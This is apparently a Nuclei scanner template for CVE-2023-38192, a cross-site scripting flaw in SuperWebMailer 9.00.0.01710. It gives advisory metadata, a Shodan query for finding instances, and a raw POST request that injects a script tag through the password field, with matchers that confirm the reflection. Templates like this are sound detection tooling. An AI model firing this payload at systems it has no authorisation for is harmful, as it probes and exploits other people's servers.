id: CVE-2023-38192

info:
  name: SuperWebMailer 9.00.0.01710 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0011/
    - https://herolab.usd.de/security-advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38192
    cwe-id: CWE-79
    epss-score: 0.05369
    epss-percentile: 0.902
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss,vkev,vuln

http:
  - raw:
      - |
        POST /superadmincreate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Password=a"><script>alert(document.domain);</script>&PasswordAgain=b&Language=de&SubmitBtn=Nutzer+erstellen

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password" value="a"><script>alert(document.domain);</script>'
          - 'SuperWebMailer'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044022012e5b4a2912b5a7abfb923ed3a9d3dfdeaff9ba82fee1b12446643a274e10f810220157bd3cc4e3c20111692240189b297faef1f4e1adcd78591d5b82c2d0ada0138:922c64590222798bb761d5b6d8e72950